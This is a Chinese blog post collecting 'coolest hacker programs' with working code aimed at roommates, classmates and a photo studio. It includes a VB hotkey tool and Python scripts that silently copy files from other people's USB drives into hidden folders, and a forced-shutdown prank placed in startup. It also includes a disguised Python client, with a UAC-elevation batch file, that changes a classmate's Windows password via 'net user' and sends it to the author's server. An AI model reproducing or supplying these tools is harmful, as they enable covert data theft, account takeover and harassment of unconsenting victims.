本文来自网友分享整理,原标题来自知乎《你写过的自己觉着最牛的黑程序是什么?》
以下部分来自互联网,部分来自网友投稿,持续补充。
我们还将代码进行了整理,仅作为开发语言兴趣培养,请勿用于非法用途。
影楼拷照片骚操作
本片段原文链接:点击访问
前情概要
yimins网友拍了婚纱照,但影楼为了赚钱只让拷一部分照片,其余要按张收费,有些霸王条款。故有了后面的黑客程序,在挑照片的时候直接运行在后台,隐蔽地将文件拷走。
以下来自知乎yimins网友的陈述:
结婚的时候,拍完婚纱照,明明拍了好几十张,但是影楼为了赚钱,规定只能拷贝走16张,超过就得加钱,好像是80元一张。一怒之下写了个U盘自动运行程序,功能只有一个,就是U盘插入的时候会自动运行,然后用户按下F12,就会自动将当前打开的目录下所有文档拷贝到U盘一个隐藏目录下。全程无任何界面和提示,完全隐蔽。拷照片那天带去。插入U盘,打开目录,假装挑选照片,偷偷按了F12,然后故意慢慢翻来覆去的挑选了很久。最后走之前影楼的工作人员还不放心,特意过来检查了一遍我的U盘,当然是什么也没看出来。最后回来一数,貌似拷了八十多张回来。
相关代码
以下代码使用Visual Basic语言完成,感兴趣的可以自己去学习一下。
主窗体
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
Icon = "Form1.frx":0000
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 '窗口缺省
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1
Private Const WM_GETTEXTLENGTH = &HE
Private Const WM_GETTEXT = &HD
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal Hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal Hwnd As Long, ByVal wCmd As Long) As Long
'U盘盘符名称
Private Uname As String
Private NowPath As String
Private WithEvents Hotkey1 As HotKeyClass
Attribute Hotkey1.VB_VarHelpID = -1
Private WithEvents Find1 As FindFileClass
Attribute Find1.VB_VarHelpID = -1
Private File1 As New FileClass
Private Sub Find1_FindedFile(FilePath As String, FileName As String, InfoID As Long)
'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLER\RECYCLER...\" & Chr(34), vbHide
File1.Auto_Rename = True
File1.Del_NoMessage = True
File1.Make_Dir_NoMessage = True
File1.NoShow = True
If Len(Dir(Uname & "RECYCLER\RECYCLER..\", vbDirectory + vbHidden + vbSystem)) <> 0 Then
File1.FileCopy FilePath & FileName, Uname & "RECYCLER\RECYCLER..\", 0
Else
Set File1 = Nothing
Exit Sub
End If
'退出之前删除目录入口
Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLER\RECYCLER...\" & Chr(34), vbHide
End Sub
Private Sub Form_Load()
Me.Hide
Uname = Command
'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE
'注册热键
Set Hotkey1 = New HotKeyClass
If Hotkey1.RegHotKey(Me.Hwnd, 122) = False Then
Unload Me
Exit Sub
End If
End Sub
Private Sub Hotkey1_HotKeyPress()
'热键被按下,获取当前窗口地址
Dim Hwnd1 As Long
Dim Get1 As New GetWinClass
Hwnd1 = Get1.GetForeWin
Dim ClassName1 As String * 255
Dim Ret1 As Long
Ret1 = GetClassName(Hwnd1, ClassName1, 255)
If Ret1 = 0 Then
Unload Me
Exit Sub
End If
If Left(ClassName1, Ret1) <> "CabinetWClass" Then
Unload Me
Exit Sub
End If
'得到选中的窗口标题
GetZiWin Hwnd1
'开始查找文件
Set Find1 = New FindFileClass
Find1.Filter = "*.jpg"
Find1.FindFile NowPath, True
End Sub
'得到子窗口的标题
Private Function GetZiWin(window_hwnd As Long) As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
buflen = 256
buf = String(buflen - 1, Chr(0))
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left(buf, buflen) '取得子窗口的类名
If Right(buf, 4) = "Edit" Then '判断是否为地址栏子窗口
NowPath = GetWinText(window_hwnd)
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function
Private Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得 IE 地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then
Exit Function
End If
txtlen = txtlen
txt = String(txtlen, Chr(0))
SendMessage window_hwnd, WM_GETTEXT, txtlen, ByVal txt
GetWinText = Left(txt, txtlen - 1)
End Function
公共模块
Attribute VB_Name = "Module1"
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'U盘盘符名称
Private Uname As String
Sub Main()
Uname = Command
'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE
'继续在后台运行
'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLER...\" & Chr(34), vbHide
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'开始拷贝文件
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'退出之前删除目录入口
'Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLER...\" & Chr(34), vbHide
End Sub
点评
在十几年前能有这种骚操作属实是6啊,由于现在法律较为健全,有时候需要借助一些法律手段去进行沟通
根据《消费者权益保护法》的相关规定:
摄影业经营者按商定提供服务后,应当将全部照片、底片包括数码相机的数据资料交给消费者,不得另行收费。
自动拷走U盘内容
本片段原文链接:点击访问
这一条与上面的影楼拷照片类似,但是是将U盘里的内容拷走,原文标题《室友居然用Python把我U盘里的小电影都给复制走了!》
前情概要
当老师讲完课,你是否想过如果把他U盘里的课件(答 案)全拷过来该多好;
当朋友用你的电脑时,你是否想看看他的U盘里有哪些好东西?
借助python写几行代码,转换为exe,运行在后台,自动扫描,复制,嗯,一气呵成。
我室友就是用这种操作把我珍藏许久的小电影都给偷走了,怪不得日渐消瘦!
相关代码
代码基于Python编写
import os
import shutil
import datetime
import time
usb_path = 'G:\\' # 插上U盘的盘符,自行修改
save_path = 'C:\\Program Files\\Common Files\\Usb Files\\' # 保存的位置,隐蔽点,自行修改
extension_list = ['txt', 'pdf', 'wps', 'doc', 'xls', 'ppt', 'docx', 'xlsx', 'pptx'] # 你要拷贝哪些数据,自行修改
while True: # 每隔20s扫描一次U盘是否插入
if os.path.exists(usb_path): # 检测到U盘插入
file_list = []
for root, dirs, files in os.walk(usb_path): # 遍历U盘所有文件
for filename in files:
if filename[-3:] in extension_list or filename[-4:] in extension_list: # 匹配扩展名
file_list.append(os.path.join(root, filename)) # 获取的你需要的文件绝对路径
for file in file_list:
save_dir = datetime.datetime.now().strftime('%Y%m%d_%H_%M') # 根据日期时间新建文件夹
file_dir = os.path.dirname(file)[3:] # U盘里该文件所在的递归目录,需要把拷贝的文件还原其所在位置
file_path = os.path.join(save_path, save_dir, file_dir) # 文件具体保存位置的完整路径
if not os.path.exists(file_path):
os.makedirs(file_path)
shutil.copy(file, file_path) # 复制中……
break # 复制完成后退出
else:
time.sleep(20) # 每隔20s扫描一次U盘
点评
本程序代码需要持续挂起扫描,因此结束的话需要进入任务管理器,比较不方便。
而且读取U盘地址和保存位置都要写死,体验不是很好
usb_path = 'G:\\' # 插上U盘的盘符,自行修改
save_path = 'C:\\Program Files\\Common Files\\Usb Files\\' # 保存的位置,隐蔽点,自行修改
当然,也有网友分享了优化的版本,可以实现自动检测U盘插入,本片段原文链接:基于python的u盘自动拷贝工具 _
import os
import time
import shutil
from os.path import join,getsize
USB = 'D:\\' # u盘目录
SAVE = 'C:\\Users\Leticia\Desktop\copy' # 保存目录
def getdirsize(dir):
size=0
for root,dirs,files in os.walk(dir):
size+=sum([getsize(join(root,name)) for name in files])
print(size)
return size
def usbcopy():
shutil.copytree(USB, SAVE)
def main():
old_dirsize = 0
new_dirsize = 0
while (1):
if os.path.exists(USB):
print("检测到U盘")
new_dirsize = getdirsize(USB)
if old_dirsize != new_dirsize:
usbcopy()
old_dirsize = new_dirsize
else:
print("没有变化")
else:
print("暂时没有U盘")
print("开始休眠")
time.sleep(5) # 休眠时间
print("休眠结束")
main()
如何一键获取电脑全部信息
本片段原文链接:点击查看
前情概要
貌似是公司要搬迁需要统计电脑相关信息,便有了下面的代码,可以快速获取到电脑配置、使用者、IP地址、MAC地址、使用日期、主板型号、CPU型号、内存厂商、内存型号、磁盘名称、磁盘大小、显卡名称
相关代码
from ftplib import FTP
import wmi
import os
class information:
w = wmi.WMI()
list=[]
path= "c:/systeminfo"
fileName=path+"/"+os.environ['COMPUTERNAME']+".txt" #文件本地路径
ftpfile="/it/info/"+os.environ['COMPUTERNAME']+".txt" #文件上传路径(文件夹需要自己手动创建)
class INFO(information):
def __init__(self):
self.info()
#获取配置信息
def info(self):
information.list.append("电脑信息")
for BIOSs in information.w.Win32_ComputerSystem():
information.list.append("电脑名称: %s" %BIOSs.Caption)
information.list.append("使 用 者: %s" %BIOSs.UserName)
for address in information.w.Win32_NetworkAdapterConfiguration(ServiceName = "e1dexpress"):
information.list.append("IP地址: %s" % address.IPAddress[0])
information.list.append("MAC地址: %s" % address.MACAddress)
for BIOS in information.w.Win32_BIOS():
information.list.append("使用日期: %s" %BIOS.Description)
information.list.append("主板型号: %s" %BIOS.SerialNumber)
for processor in information.w.Win32_Processor():
information.list.append("CPU型号: %s" % processor.Name.strip())
for memModule in information.w.Win32_PhysicalMemory():
totalMemSize=int(memModule.Capacity)
information.list.append("内存厂商: %s" %memModule.Manufacturer)
information.list.append("内存型号: %s" %memModule.PartNumber)
information.list.append("内存大小: %.2fGB" %(totalMemSize/1024**3))
for disk in information.w.Win32_DiskDrive(InterfaceType = "IDE"):
diskSize=int(disk.size)
information.list.append("磁盘名称: %s" %disk.Caption)
information.list.append("磁盘大小: %.2fGB" %(diskSize/1024**3))
for xk in information.w.Win32_VideoController():
information.list.append("显卡名称: %s" %xk.name)
class fileHandling(information):
def __init__(self):
self.file()
self.write()
#判断文件夹(路径)是否存在
def file(self):
if not os.path.exists(information.path):
#创建文件夹(文件路径)
os.makedirs(information.path)
#写入数据
def write(self):
with open(information.fileName,'w+') as f:
for li in information.list:
l=li+"\n"
f.write(l)
#上传、下载FTP文件
class FTPFile(information):
def __init__(self,host,port,username,password):
self.ftp = FTP()
self.host=host #FTP主机IP地址
self.port=port #FTP主机端口号
self.username=username #FTP主机登录名
self.password=password #FTP主机登录密码
self.ftpconnect()
self.uploadfile()
def ftpconnect(self):
self.ftp = FTP()
#ftp.set_debuglevel(2) #打开调试级别2,显示详细信息
self.ftp.connect(self.host, self.port) #连接
self.ftp.login(self.username, self.password) #登录,如果匿名登录则用空串代替即可
return self.ftp
def downloadfile(self):
bufsize = 1024 #设置缓冲块大小
fp = open(information.fileName,'wb') #以写模式在本地打开文件
self.ftp.retrbinary('RETR ' + information.ftpfile, fp.write, bufsize) #接收服务器上文件并写入本地文件
self.ftp.set_debuglevel(0) #关闭调试
fp.close() #关闭文件
def uploadfile(self):
bufsize = 1024
self.fp = open(information.fileName, 'rb')
self.ftp.storbinary('STOR '+ information.ftpfile , self.fp, bufsize) #上传文件
self.ftp.set_debuglevel(0)
self.fp.close()
infor=information()
INFOs=INFO()
fileHandlings=fileHandling()
uploadFTP=FTPFile("xxx0",xxx1,"xxx2","xxx3") #分别是;ftp服务器地址,端口号,登陆用户,密码
python设计代码
----打包成MSI软件(setup.py)
import sys
import os.path
from cx_Freeze import setup, Executable
PYTHON_INSTALL_DIR = os.path.dirname(os.path.dirname(os.__file__))
build_exe_options = {"packages": [ "os","ftplib","wmi"]}#程序中使用的模块(包)
base = None
if sys.platform == "win32":
base = "Win32GUI"
setup( name = "info", #安装后文件夹名字
version = "0.1", #版本号
description = "获取电脑配置信息", #描述
options = {"build_exe": build_exe_options},
#打包文件路径,快捷键名称,快捷键放到桌面
executables = [Executable("g:\myapp\info.py",shortcutName="info",shortcutDir="DesktopFolder",
base=base)])
如何几行代码让你的室友电脑关机
前情概要
你是否在学习C语言过程中,想过一些能让你室友电脑关机的骚操作?不妨来看看下面的代码
相关代码
下面代码实现了弹窗提示,要求输入我是猪头,否则会将电脑在1分钟后关机的小操作。
C语言相关资料需要自己引入头部,自己思考一下咯!深入学习可以参考下面教程
int main()
{
char input[20] = { 0 };
system("shutdown -s -t 70");//启用自动关机
again:
printf("你的电脑将在一分钟内关机,若要取消关机,请输入“我是猪头”");//提示
scanf("%s", &input);
if (strcmp(input,"我是猪头")==0)
{
system("shutdown -a");//取消关机
}
else
{
goto again;//输入错误,再次提示
}
return 0;
点评
据说下面的还不是最骚的操作
![图片[1]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129004808579.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
![图片[2]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129004843186.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
如何让你的室友电脑一开机就要求输入我是猪头,我们可以将上面的代码生成exe文件,并放入启动项,具体操作步骤
其他函数
shutdown系列
- shutdown -s 关机
- shutdown -f 强行关闭应用程序
- shutdown -a 取消关机
- shutdown -i 显示“远程关机”图形用户界面
- shutdown -r 关机并重启
- shutdown -s -t 时间 设置关机倒计时
- shutdown -r -t 时间 设置重新启动倒计时
- shutdown -h 休眠
疯狂弹窗
前情概要
学习了python之后,发现代码世界真的好好玩,故有了下面的代码
相关代码
3行python代码伪造一个windows弹窗
import tkinter.messagebox
while True:
tkinter.messagebox.showerror('Windows 错误','你的电脑正在被攻击!')
![图片[3]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129010920869.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
点评
关掉需要杀进程,不是非常友好
延申
上面的只是基础版,还有更疯狂的,快来看看。
会在电脑随机位置弹出你想要说的话
![图片[4]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129011439174.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
让你的室友疯狂学习猪头网站
前情概要
听说最近猪头网站又分享了很多网安学习的干货和黑客的骚操作,那不妨让你的室友一直学习
相关代码
下面代码运行之后会一直打开我们的官网,直到被杀毒软件杀掉
import webbrowser
while True:
webbrowser.open('www.iculture.cc')
点评
督促室友学习不要这么疯狂
使用Python修改了班花电脑的密码
以下代码涉及到网络通讯相关知识,感兴趣可以深入了解。
前情概要
![图片[5]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129012200212.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
![图片[6]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129012210126.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
相关代码
自己用服务端的代码,将客户端代码和go.cmd是发给小姐姐。
服务端代码
这个是通讯过程中发送的事情,感兴趣可以了解一下,我们主要看代码
- 创建套接字
- -绑定ip和端口
- -设置监听
- -等待链接
- -接受数据打印数据
- -关闭链接
第三行代码,请按需修改,填入自己的IP地址和端口
import socket # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444)) # 绑定IP/端口 这里要按需修改的哦!
server.listen(5) # 监听
print('***********等待连接*********')
conn, addr = server.accept() # 连接
print(conn)
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()
客户端代码
下面的文件要打包好发给小姐姐
在网络通讯中的相关流程,感兴趣可以深入了解
- 创建套接字
- 连接服务端的IP和端口
- 获取当前使用的电脑账户名
- 生成随机的电脑密码
- 在终端执行修改Windows密码的指令
- 发送修改之后的密码
- 关闭套接字
下面是python的源码,你可以通过pyinstaller打包成exe文件发给小姐姐,其中第四行的IP端口要填你的IP和端口
import socket # 导入用到的模块
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口)) # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser() # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) # 将密码发送给server端
back_msg = client.recv(1024)
client.close() # 关闭socket
go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
点评
可以通过这个过程深入了解基于套接字的网络通讯的整个过程,还是收获颇多的哦!
Socket工作原理
Socket是一个抽象层:
![图片[7]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129012927685.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
先来理解什么是Socket:
Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket接口后面,对用户来说,一组简单的接口就是全部,让Socket去组织数据,以符合指定的协议。
所以,我们无需深入理解tcp/udp协议,socket已经为我们封装好了,我们只需要遵循socket的规定去编程,写出的程序自然就是遵循tcp/udp标准的。
也有人将socket说成ip+port,ip是用来标识互联网中的一台主机的位置,而port是用来标识这台机器上的一个应用程序,ip地址是配置到网卡上的,而port是应用程序开启的,ip与port的绑定就标识了互联网中独一无二的一个应用程序
而程序的pid是同一台机器上不同进程或者线程的标识
套接字的工作流程
一个生活中的场景。你要打电话给一个朋友,先拨号,朋友听到电话铃声后提起电话,这时你和你的朋友就建立起了连接,就可以讲话了。等交流结束,挂断电话结束此次交谈。 生活中的场景就解释了这工作原理。
![图片[8]-你见过最牛的黑客程序有哪些?附代码-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2021/11/20211129013005138.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
- 最新
- 最热
只看作者